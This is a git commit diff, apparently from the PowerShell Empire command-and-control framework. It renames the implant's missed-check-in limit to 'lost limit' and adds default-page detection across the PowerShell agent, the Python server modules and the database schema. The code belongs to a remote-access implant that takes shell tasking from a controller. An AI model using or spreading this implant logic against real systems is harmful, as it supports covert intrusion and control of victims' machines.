Updated Lost Agent Detection

1.6
sixdub 2015-08-10 18:50:18 -04:00
parent 26a67bd02b
commit da6c5a983c
9 changed files with 114 additions and 101 deletions

View File

@ -3,6 +3,7 @@
-Fixed tab completion of usestager module
-Added dependencies for Ubuntu 14.04
-Fixed IP Whitelisting set from file
-Added "Lost Agent Detection". Allows the ability for an agent to die after a certain number of missed checkins. This is implemented via the "lostlimit" command. Default set to 60 missed checkins.
8/9/2015
----------

View File

@ -33,8 +33,11 @@ function Invoke-Empire {
.PARAMETER Epoch
server epoch time, defaults to client time
.PARAMETER MissedCBLimit
The limit of the number of callbacks the agent will miss before exiting
.PARAMETER LostLimit
The limit of the number of checkins the agent will miss before exiting
.PARAMETER DefaultPage
The default page string Base64 encoded
#>
param(
@ -71,7 +74,10 @@ function Invoke-Empire {
$Epoch = [math]::abs([Math]::Floor([decimal](Get-Date(Get-Date).ToUniversalTime()-uformat "%s"))),
[Int32]
$MissedCBLimit = 60
$LostLimit = 60,
[String]
$DefaultPage = ""
)
############################################################
@ -80,8 +86,9 @@ function Invoke-Empire {
$script:AgentDelay = $AgentDelay
$script:AgentJitter = $AgentJitter
$script:MissedCBLimit = $MissedCBLimit
$script:MissedCB = 0
$script:LostLimit = $LostLimit
$script:MissedCheckins = 0
$script:DefaultPage = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DefaultPage))
$encoding = [System.Text.Encoding]::ASCII
@ -159,20 +166,20 @@ function Invoke-Empire {
"agent interval delay interval: $script:AgentDelay seconds with a jitter of $script:AgentJitter"
}
function Set-MissedCBLimit {
function Set-LostLimit {
param([int]$l)
$script:MissedCBLimit = $l
$script:LostLimit = $l
if($l -eq 0)
{
"agent set to never die based on CB Limit"
"agent set to never die based on checkin Limit"
}
else
{
"agent MissedCBLimit set to $script:MissedCBLimit"
"agent LostLimit set to $script:LostLimit"
}
}
function Get-Delay {
"agent MissedCBLimit: $script:MissedCBLimit"
function Get-LostLimit {
"agent LostLimit: $script:LostLimit"
}
# set the killdate for the agent
@ -906,8 +913,8 @@ function Invoke-Empire {
}
}
catch [Net.WebException] {
$script:MissedCB+=1
# handle 403? for key-negotiation?
$script:MissedCheckins+=1
# handle host not found/reachable?
# if($_.Exception -match "(403)"){
# Write-Host "403!!"
@ -954,7 +961,7 @@ function Invoke-Empire {
exit
}
if((!($script:MissedCBLimit -eq 0)) -and ($script:MissedCB -gt $script:MissedCBLimit))
if((!($script:LostLimit -eq 0)) -and ($script:MissedCheckins -gt $script:LostLimit))
{
# get any job results and kill the jobs
@ -977,7 +984,7 @@ function Invoke-Empire {
}
# send an exit status message and die
$msg = "[!] Agent "+$script:SessionID+" exiting: Missed CB limit reached"
$msg = "[!] Agent "+$script:SessionID+" exiting: Lost limit reached"
Send-Message $(Encode-Packet -type 2 -data $msg)
exit
@ -1042,30 +1049,32 @@ function Invoke-Empire {
# get the next task from the server
$data = Get-Task
# make sure there's a result and it doesn't begin with "<html>" (i.e. the default page)
if ($data -and (-not ([System.Text.Encoding]::UTF8.GetString($data[0..5]) -eq "<html>"))){
# check if an error was received
if ($data.GetType().Name -eq "ErrorRecord"){
$statusCode = [int]$_.Exception.Response.StatusCode
# TODO: handle error codes appropriately?
if ($statusCode -eq 0){
#handle a specific status code
}
#Check to see if we got data
if ($data) {
#did we get a default page
if ([System.Text.Encoding]::UTF8.GetString($data) -eq $script:DefaultPage) {
$script:MissedCheckins=0
}
#we did not get a default, check for erros and process the tasking
elseif (-not ([System.Text.Encoding]::UTF8.GetString($data) -eq $script:DefaultPage)) {
# check if an error was received
if ($data.GetType().Name -eq "ErrorRecord"){
$statusCode = [int]$_.Exception.Response.StatusCode
if ($statusCode -eq 0){
}
}
else {
# if we get data with no error, process the packet
$script:MissedCheckins=0
Process-Tasking $data
}
}
else {
#No data... wierd?
}
# if we get data, process the packet
$script:MissedCB=0
Process-Tasking $data
}
#Check for default tasking and reset the count if it is found
elseif ($data -and ([System.Text.Encoding]::UTF8.GetString($data[0..5]) -eq "<html>"))
{
#Some page that is html, possibly the default
#TODO: Replace to check for the specific default page marker
$script:MissedCB=0
}
else {
#Hmmmm?
}
# force garbage collection to clean up :)
[GC]::Collect()

View File

@ -98,7 +98,7 @@ class Agents:
cur.close()
def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours,missedCBLimit):
def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours,lostLimit):
"""
Add an agent to the internal cache and database.
"""
@ -128,7 +128,7 @@ class Agents:
userAgent = parts[1]
additionalHeaders = parts[2]
cur.execute("INSERT INTO agents (name,session_id,delay,jitter,external_ip,session_key,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours,missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID,sessionID,delay,jitter,externalIP,sessionKey,checkinTime,lastSeenTime,requestUris,userAgent,additionalHeaders,killDate,workingHours,missedCBLimit))
cur.execute("INSERT INTO agents (name,session_id,delay,jitter,external_ip,session_key,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours,lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID,sessionID,delay,jitter,externalIP,sessionKey,checkinTime,lastSeenTime,requestUris,userAgent,additionalHeaders,killDate,workingHours,lostLimit))
cur.close()
# initialize the tasking/result buffers along with the client session key
@ -1052,7 +1052,7 @@ class Agents:
dispatcher.send("[*] Sending stager (stage 1) to "+str(clientIP), sender="Agents")
# get the staging information for the given listener, keyed by port
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target,missed_cb_limit
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target,lost_limit
config = self.listeners.get_staging_information(port=port)
host = config[0]
stagingkey = config[3]
@ -1155,7 +1155,7 @@ class Agents:
dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted to public key URI", sender="Agents")
# get the staging key for the given listener, keyed by port
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,missed_cb_limit
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit
stagingKey = self.listeners.get_staging_information(port=port)[3]
# decrypt the agent's public key
@ -1187,10 +1187,10 @@ class Agents:
profile = config[6]
killDate = config[7]
workingHours = config[8]
missedCBLimit = config[11]
lostLimit = config[11]
# add the agent to the database now that it's "checked in"
self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours,missedCBLimit)
self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours,lostLimit)
# step 4 of negotiation -> return epoch+aes_session_key
clientSessionKey = self.get_agent_session_key(sessionID)
@ -1219,7 +1219,7 @@ class Agents:
decoded = helpers.decode_base64(parts[1])
# get the staging key for the given listener, keyed by port
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,missed_cb_limit
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit
config = self.listeners.get_staging_information(host=decoded)
else:
@ -1230,7 +1230,7 @@ class Agents:
profile = config[6]
killDate = config[7]
workingHours = config[8]
missedCBLimit = config[11]
lostLimit = config[11]
# get the session key for the agent
sessionKey = self.agents[sessionID][0]
@ -1274,7 +1274,7 @@ class Agents:
dispatcher.send("[*] Sending agent (stage 2) to "+str(sessionID)+" at "+clientIP, sender="Agents")
# step 6 of negotiation -> server sends patched agent.ps1
agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate,workingHours,missedCBLimit)
agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate,workingHours,lostLimit)
username = str(domainname)+"\\"+str(username)
@ -1291,7 +1291,7 @@ class Agents:
# set basic initial information to display for the agent
agent = self.mainMenu.agents.get_agent(sessionID)
keys = ["ID", "sessionID", "listener", "name", "delay", "jitter","missed_cb_limit","external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"]
keys = ["ID", "sessionID", "listener", "name", "delay", "jitter","lost_limit","external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"]
agentInfo = dict(zip(keys, agent))
for key in agentInfo:

View File

@ -776,8 +776,8 @@ class AgentsMenu(cmd.Cmd):
else:
print helpers.color("[!] Invalid agent name")
def do_changelostlimit(self, line):
"Task one or more agents to 'changemisslimit [agent/all] <#ofCBs> '"
def do_lostlimit(self, line):
"Task one or more agents to 'lostlimit [agent/all] <#ofCBs> '"
parts = line.strip().split(" ")
@ -785,32 +785,32 @@ class AgentsMenu(cmd.Cmd):
print helpers.color("[!] Please enter a valid '#ofCBs'")
elif parts[0].lower() == "all":
MissedCBLimit = parts[1]
lostLimit = parts[1]
agents = self.mainMenu.agents.get_agents()
for agent in agents:
sessionID = agent[1]
# update this agent info in the database
self.mainMenu.agents.set_agent_field("missed_cb_limit", MissedCBLimit, sessionID)
self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, sessionID)
# task the agent
self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-MissedCBLimit " + str(MissedCBLimit))
self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit))
# update the agent log
msg = "Tasked agent to change callback limit " + str(MissedCBLimit)
msg = "Tasked agent to change lost limit " + str(lostLimit)
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
# extract the sessionID and clear the agent tasking
sessionID = self.mainMenu.agents.get_agent_id(parts[0])
MissedCBLimit = parts[1]
lostLimit = parts[1]
if sessionID and len(sessionID) != 0:
# update this agent's information in the database
self.mainMenu.agents.set_agent_field("missed_cb_limit", MissedCBLimit, sessionID)
self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, sessionID)
self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-MissedCBLimit " + str(MissedCBLimit))
self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit))
# update the agent log
msg = "Tasked agent to change callback limit " + str(MissedCBLimit)
msg = "Tasked agent to change lost limit " + str(lostLimit)
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
@ -1020,8 +1020,8 @@ class AgentsMenu(cmd.Cmd):
return self.complete_clear(text, line, begidx, endidx)
def complete_changelostlimit(self, text, line, begidx, endidx):
"Tab-complete a sleep command"
def complete_lostlimit(self, text, line, begidx, endidx):
"Tab-complete a lostlimit command"
return self.complete_clear(text, line, begidx, endidx)
@ -1228,19 +1228,18 @@ class AgentMenu(cmd.Cmd):
msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_changelostlimit(self, line):
"Task an agent to change the limit on missed CBs"
def do_lostlimit(self, line):
"Task an agent to change the limit on lost agent detection"
parts = line.strip().split(" ")
if len(parts) > 0 and parts[0] != "":
MissedCBLimit = parts[0]
lostLimit = parts[0]
# update this agent's information in the database
self.mainMenu.agents.set_agent_field("missed_cb_limit", MissedCBLimit, self.sessionID)
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "Set-MissedCBLimit " + str(MissedCBLimit))
self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, self.sessionID)
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit))
# update the agent log
msg = "Tasked agent to change callback limit " + str(MissedCBLimit)
msg = "Tasked agent to change lost limit " + str(lostLimit)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)

View File

@ -19,6 +19,7 @@ import encryption
import helpers
#TODO: place this in a config
def default_page():
"""
Returns the default page for this server.

View File

@ -42,7 +42,7 @@ class Listeners:
# set the initial listener config to be the config defaults
self.conn.row_factory = dict_factory
cur = self.conn.cursor()
cur.execute("SELECT staging_key,default_delay,default_jitter,default_profile,default_cert_path,default_port,default_missed_cb_limit FROM config")
cur.execute("SELECT staging_key,default_delay,default_jitter,default_profile,default_cert_path,default_port,default_lost_limit FROM config")
defaults = cur.fetchone()
cur.close()
self.conn.row_factory = None
@ -84,10 +84,10 @@ class Listeners:
'Required' : True,
'Value' : defaults['default_jitter']
},
'DefaultMissedCBLimit' : {
'Description' : 'Number of missed callbacks before exiting',
'DefaultLostLimit' : {
'Description' : 'Number of missed checkins before exiting',
'Required' : True,
'Value' : defaults['default_missed_cb_limit']
'Value' : defaults['default_lost_limit']
},
'DefaultProfile' : {
'Description' : 'Default communication profile for the agent.',
@ -123,7 +123,7 @@ class Listeners:
"""
cur = self.conn.cursor()
cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners")
cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners")
results = cur.fetchall()
cur.close()
@ -276,7 +276,7 @@ class Listeners:
try:
# get the listener information
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit] = self.get_listener(listenerId)
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = self.get_listener(listenerId)
listenerId = int(ID)
@ -310,7 +310,7 @@ class Listeners:
if nameid : listenerId = nameid
cur = self.conn.cursor()
cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE id=?", [listenerId])
cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE id=?", [listenerId])
listener = cur.fetchone()
cur.close()
@ -404,20 +404,20 @@ class Listeners:
if(listenerId):
cur = self.conn.cursor()
cur.execute('SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID])
cur.execute('SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID])
stagingInformation = cur.fetchone()
cur.close()
elif(port):
cur = self.conn.cursor()
cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE port=?", [port])
cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE port=?", [port])
stagingInformation = cur.fetchone()
cur.close()
# used to get staging info for hop.php relays
elif(host):
cur = self.conn.cursor()
cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE host=?", [host])
cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit FROM listeners WHERE host=?", [host])
stagingInformation = cur.fetchone()
cur.close()
@ -516,7 +516,7 @@ class Listeners:
workingHours = self.options['WorkingHours']['Value']
listenerType = self.options['Type']['Value']
redirectTarget = self.options['RedirectTarget']['Value']
defaultMissedCBLimit = self.options['DefaultMissedCBLimit']['Value']
defaultLostLimit = self.options['DefaultLostLimit']['Value']
# validate all of the options
if self.validate_listener_options():
@ -543,7 +543,7 @@ class Listeners:
return False
cur = self.conn.cursor()
results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultMissedCBLimit] )
results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultLostLimit] )
# get the ID for the listener
cur.execute("SELECT id FROM listeners where name=?", [name])
@ -564,7 +564,7 @@ class Listeners:
# add the listener to the database if start up
cur = self.conn.cursor()
results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target, default_missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultMissedCBLimit] )
results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target, default_lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultLostLimit] )
# get the ID for the listener
cur.execute("SELECT id FROM listeners where name=?", [name])
@ -599,7 +599,7 @@ class Listeners:
else:
# get the existing listener options
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,defaultMissedCBLimit] = self.get_listener(listenerName)
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,defaultLostLimit] = self.get_listener(listenerName)
cur = self.conn.cursor()
@ -610,7 +610,7 @@ class Listeners:
pivotHost += internalIP + ":" + str(listenPort)
# insert the pivot listener with name=sessionID for the pivot agent
cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [sessionID, pivotHost, listenPort, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, "pivot", name,defaultMissedCBLimit] )
cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [sessionID, pivotHost, listenPort, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, "pivot", name,defaultLostLimit] )
# get the ID for the listener
cur.execute("SELECT id FROM listeners where name=?", [sessionID])

View File

@ -126,7 +126,7 @@ def display_agents(agents):
print " --------- ----------- ------------ --------- ------- ----- --------------------"
for agent in agents:
[ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, missed_cb_limit] = agent
[ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit] = agent
if str(high_integrity) == "1":
# add a * to the username if it's high integrity
username = "*" + username
@ -146,7 +146,7 @@ def display_agent(agent):
"""
# extract out database fields.
keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "MissedCBLimit"]
keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "lost_limit"]
print helpers.color("\n[*] Agent info:\n")
@ -173,7 +173,7 @@ def display_listeners(listeners):
for listener in listeners:
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit] = listener
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit] = listener
if not host.startswith("http"):
if cert_path and cert_path != "":
@ -196,15 +196,15 @@ def display_listener(options):
"""
print "\nListener Options:\n"
print " Name Required Value Description"
print " ---- -------- ------- -----------"
print " Name Required Value Description"
print " ---- -------- ------- -----------"
for option,values in options.iteritems():
# if there's a long value length, wrap it
if len(str(values['Value'])) > 33:
print " %s%s%s" % ('{0: <15}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(wrap_string(values['Value'], width=32, indent=29, followingHeader=values['Description'])))
print " %s%s%s" % ('{0: <18}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(wrap_string(values['Value'], width=32, indent=32, followingHeader=values['Description'])))
else:
print " %s%s%s%s" % ('{0: <15}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(values['Value']), values['Description'])
print " %s%s%s%s" % ('{0: <18}'.format(option), '{0: <12}'.format(("True" if values['Required'] else "False")), '{0: <33}'.format(values['Value']), values['Description'])
print "\n"
@ -216,7 +216,7 @@ def display_listener_database(listener):
Transforms the tuple set to an options dictionary and calls display_listener().
"""
[ID,name,host,port,certPath,stagingKey,defaultDelay,defaultJitter,defaultProfile,killDate,workingHours,listenerType,redirectTarget, defaultMissedCBLimit] = listener
[ID,name,host,port,certPath,stagingKey,defaultDelay,defaultJitter,defaultProfile,killDate,workingHours,listenerType,redirectTarget, defaultLostLimit] = listener
options = {
'ID' : {
@ -259,8 +259,8 @@ def display_listener_database(listener):
'Required' : True,
'Value' : ''
},
'DefaultMissedCBLimit' : {
'Description' : 'Number of missed callbacks before exiting',
'DefaultLostLimit' : {
'Description' : 'Number of missed checkins before exiting',
'Required' : True,
'Value' : ''
},
@ -304,7 +304,7 @@ def display_listener_database(listener):
options['WorkingHours']['Value'] = workingHours
options['Type']['Value'] = listenerType
options['RedirectTarget']['Value'] = redirectTarget
options['DefaultMissedCBLimit']['Value'] = defaultMissedCBLimit
options['DefaultLostLimit']['Value'] = defaultLostLimit
display_listener(options)

View File

@ -10,6 +10,7 @@ import http
import helpers
import encryption
import os
import base64
class Stagers:
@ -163,7 +164,7 @@ class Stagers:
return randomizedStager
def generate_agent(self, delay, jitter, profile, killDate, workingHours, missedCBLimit):
def generate_agent(self, delay, jitter, profile, killDate, workingHours, lostLimit):
"""
Generate "standard API" functionality, i.e. the actual agent.ps1 that runs.
@ -175,12 +176,14 @@ class Stagers:
# strip out comments and blank lines
code = helpers.strip_powershell_comments(code)
b64DefaultPage = base64.b64encode(http.default_page())
# patch in the delay, jitter, missed CB limit, and comms profile
# patch in the delay, jitter, lost limit, and comms profile
code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
code = code.replace('$Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
code = code.replace('$MissedCBLimit = 60', "$MissedCBLimit = " + str(missedCBLimit))
code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit))
code = code.replace('$DefaultPage = ""', '$DefaultPage = "'+b64DefaultPage+'"')
# patch in the killDate and workingHours if they're specified
if killDate != "":

View File

@ -62,7 +62,7 @@ IP_WHITELIST = ""
IP_BLACKLIST = ""
#number of times an agent will call back without an answer prior to exiting
DEFAULT_MISSED_CB_LIMIT = 60
DEFAULT_LOST_LIMIT = 60
@ -94,11 +94,11 @@ c.execute('''CREATE TABLE config (
"server_version" text,
"ip_whitelist" text,
"ip_blacklist" text,
"default_missed_cb_limit" integer
"default_lost_limit" integer
)''')
# kick off the config component of the database
c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY,STAGE0_URI,STAGE1_URI,STAGE2_URI,DEFAULT_DELAY,DEFAULT_JITTER,DEFAULT_PROFILE,DEFAULT_CERT_PATH,DEFAULT_PORT,INSTALL_PATH,SERVER_VERSION,IP_WHITELIST,IP_BLACKLIST, DEFAULT_MISSED_CB_LIMIT))
c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY,STAGE0_URI,STAGE1_URI,STAGE2_URI,DEFAULT_DELAY,DEFAULT_JITTER,DEFAULT_PROFILE,DEFAULT_CERT_PATH,DEFAULT_PORT,INSTALL_PATH,SERVER_VERSION,IP_WHITELIST,IP_BLACKLIST, DEFAULT_LOST_LIMIT))
c.execute('''CREATE TABLE "agents" (
"id" integer PRIMARY KEY,
@ -129,7 +129,7 @@ c.execute('''CREATE TABLE "agents" (
"kill_date" text,
"working_hours" text,
"ps_version" text,
"missed_cb_limit" integer
"lost_limit" integer
)''')
c.execute('''CREATE TABLE "listeners" (
@ -146,7 +146,7 @@ c.execute('''CREATE TABLE "listeners" (
"working_hours" text,
"listener_type" text,
"redirect_target" text,
"default_missed_cb_limit" integer
"default_lost_limit" integer
)''')
# type = hash, plaintext, token